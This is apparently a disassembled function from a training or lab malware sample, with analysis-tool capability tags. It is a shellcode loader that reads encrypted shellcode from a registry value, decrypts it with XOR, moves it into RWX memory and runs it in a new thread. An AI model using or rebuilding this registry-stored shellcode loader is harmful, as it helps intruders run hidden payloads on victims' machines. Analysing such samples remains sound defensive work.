Function at 0x140001950
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Query or enumerate registry value
Spawn thread to rwx shellcode

Disassembly:
push rbx
push r12
push r14
sub rsp, 0x170
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x150], rax
xor r12d, r12d
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rax
lea r8, str.ScoobAcademy
mov qword [rsp + 0x28], r12
lea rdx, str.Control_Panel
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x40], r12d
lea r9d, [r12 + 8]
mov qword [rsp + 0x20], r12
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
test eax, eax
je 0x1400019bb
lea rbx, str.____Error_getting_shellcode_size_with_RegGetValueA_:__d_n
jmp 0x140001a50
mov edx, dword [rsp + 0x40]
lea rcx, str.___Successfully_got_size_of_shellcode_from_registry_:__d_n
call fcn.1400018f0
lea rdx, str.Press_Enter_to_read_shellcode_from_registry...
lea rcx, str._n_P___s_n
call fcn.1400018f0
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov ebx, dword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r14, rax
test rax, rax
jne 0x140001a10
lea rbx, str.____Error_calling_HeapAlloc_:__d_n
jmp 0x140001a50
lea rax, [rsp + 0x40]
mov r9d, 8
mov qword [rsp + 0x30], rax
lea r8, str.ScoobAcademy
mov qword [rsp + 0x28], r14
lea rdx, str.Control_Panel
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], r12
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
test eax, eax
je 0x140001a76
lea rbx, str.____Error_getting_shellcode_with_RegGetValueA_:__d_n
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call fcn.1400018f0
lea rcx, str.____Error_calling_ReadShellcodeFromRegistry_n
call fcn.1400018f0
mov eax, 0xffffffff
jmp 0x140001eaa
mov qword [rsp + 0x190], rbp
lea rcx, str.___Successfully_read_shellcode_from_registry__:__n
mov qword [rsp + 0x198], rsi
mov qword [rsp + 0x1a0], rdi
mov qword [rsp + 0x168], r13
mov qword [rsp + 0x160], r15
call fcn.1400018f0
mov ebp, dword [rsp + 0x40]
lea rdx, str.pBytes
lea rcx, str.unsigned_char__s____
call fcn.1400018f0
lea r13, str.0x_0.2X
mov ebx, r12d
test rbp, rbp
je 0x140001b23
lea r15, [rbp - 1]
mov rsi, r12
mov rdi, r14
nop word [rax + rax]
mov eax, ebx
and eax, 0x8000000f
jge 0x140001af0
dec eax
or eax, 0xfffffff0
inc eax
test eax, eax
jne 0x140001b00
lea rcx, [0x1400034d8]
call fcn.1400018f0
movzx edx, byte [rdi]
lea rcx, str.0x_0.2X_
cmp rsi, r15
cmovae rcx, r13
call fcn.1400018f0
inc ebx
inc rdi
movsxd rsi, ebx
cmp rsi, rbp
jb 0x140001ae0
lea rcx, str.__n_n_n
call fcn.1400018f0
lea rdx, str.Pausing_to_check_shellcode...
lea rcx, str._n_P___s_n
call fcn.1400018f0
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov esi, dword [rsp + 0x40]
lea rcx, str.___Successfully_read_encrypted_shellcode_from_registry__n
call fcn.1400018f0
mov edx, esi
lea rcx, str._t_i__Shellcode_size_:__d_n
call fcn.1400018f0
lea rdx, str.registryShellcode
lea rcx, str.unsigned_char__s____
call fcn.1400018f0
lea r15, [rsi - 1]
mov ebx, r12d
mov rbp, r14
test rsi, rsi
je 0x140001bd4
mov rdi, r12
nop dword [rax + rax]
mov eax, ebx
and eax, 0x8000000f
jge 0x140001ba0
dec eax
or eax, 0xfffffff0
inc eax
test eax, eax
jne 0x140001bb0
lea rcx, [0x1400034d8]
call fcn.1400018f0
movzx edx, byte [r14]
lea rcx, str.0x_0.2X_
cmp rdi, r15
cmovae rcx, r13
call fcn.1400018f0
inc ebx
inc r14
movsxd rdi, ebx
cmp rdi, rsi
jb 0x140001b90
lea rcx, str.__n_n_n
call fcn.1400018f0
lea rdx, str.Pausing_to_check_shellcode...
lea rcx, str._n_P___s_n
call fcn.1400018f0
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
lea rcx, [rsp + 0x50]
call section..text
mov rbx, rbp
movups xmm0, xmmword [0x140005078]
movaps xmmword [rsp + 0x140], xmm0
test rsi, rsi
je 0x140001ce5
lea rdi, [rsp + 0x140]
shr r15, 4
sub rdi, rbp
inc r15
movups xmm0, xmmword [rbx]
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140001760
mov ecx, 0x10
nop word [rax + rax]
movzx eax, byte [rbx + rdi]
xor byte [rbx], al
inc rbx
sub rcx, 1
jne 0x140001c50
sub rdi, 0x10
movaps xmmword [rsp + 0x140], xmm0
sub r15, 1
jne 0x140001c30
lea rcx, str.___Successfully_decrypted_shellcode_:__n
call fcn.1400018f0
lea rdx, str.pBuffer
lea rcx, str.unsigned_char__s____
call fcn.1400018f0
mov ebx, r12d
lea r15, [rsi - 1]
mov r14, r12
mov rdi, rbp
nop dword [rax]
mov eax, ebx
and eax, 0x8000000f
jge 0x140001cb0
dec eax
or eax, 0xfffffff0
inc eax
test eax, eax
jne 0x140001cc0
lea rcx, [0x1400034d8]
call fcn.1400018f0
movzx edx, byte [rdi]
lea rcx, str.0x_0.2X_
cmp r14, r15
cmovae rcx, r13
call fcn.1400018f0
inc ebx
inc rdi
movsxd r14, ebx
cmp r14, rsi
jb 0x140001ca0
jmp 0x140001d04
lea rcx, str.___Successfully_decrypted_shellcode_:__n
call fcn.1400018f0
lea rdx, str.pBuffer
lea rcx, str.unsigned_char__s____
call fcn.1400018f0
lea rcx, str.__n_n_n
call fcn.1400018f0
lea rdx, str.Pausing_to_check_shellcode...
lea rcx, str._n_P___s_n
call fcn.1400018f0
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov r9d, 4
mov r8d, 0x3000
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, qword [rsp + 0x160]
mov rbx, rax
mov r13, qword [rsp + 0x168]
mov rdi, qword [rsp + 0x1a0]
test rax, rax
jne 0x140001d72
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____Error_while_allocating_memory_:__d_n
jmp 0x140001e45
mov rdx, rbx
lea rcx, str.___Successfully_Allocated_memory___:_t0x_p_n
call fcn.1400018f0
mov r8, rsi
mov rdx, rbp
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
test rax, rax
jne 0x140001da6
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____Error_copying_payload_to_memory_:__d_n
jmp 0x140001e45
mov r8, rsi
xor edx, edx
mov rcx, rbp
call sub.VCRUNTIME140.dll_memset
test rax, rax
jne 0x140001dc7
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____Error_zeroing_out_deobfuscated_payload_:__d_n
jmp 0x140001e45
lea rcx, str.___Successfully_wrote_payload_to_memory_and_zeroed_out_original_buffer_n
call fcn.1400018f0
lea r9, [rsp + 0x44]
mov dword [rsp + 0x44], r12d
mov r8d, 0x40
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001e0d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, rbx
lea rcx, str.____Error_updating_memory_protections___0x_p__error_:__d_n
mov r8d, eax
call fcn.1400018f0
jmp 0x140001e4c
lea rcx, str.___Successfully_updated_memory_protection_n
call fcn.1400018f0
xor r9d, r9d
mov qword [rsp + 0x28], r12
mov r8, rbx
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
jne 0x140001e5f
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____Error_creating_thread_:__d_n
mov edx, eax
call fcn.1400018f0
lea rcx, str.____Error_running_shellcode_:__n
call fcn.1400018f0
mov eax, 0xffffffff
jmp 0x140001e9a
lea rcx, str.___Successfully_created_thread_n
call fcn.1400018f0
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbp
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rdx, str.Paused_for_debugging..._n
lea rcx, str._n_P___s_n
call fcn.1400018f0
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
xor eax, eax
mov rbp, qword [rsp + 0x190]
mov rsi, qword [rsp + 0x198]
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.140001ee0
add rsp, 0x170
pop r14
pop r12
pop rbx
ret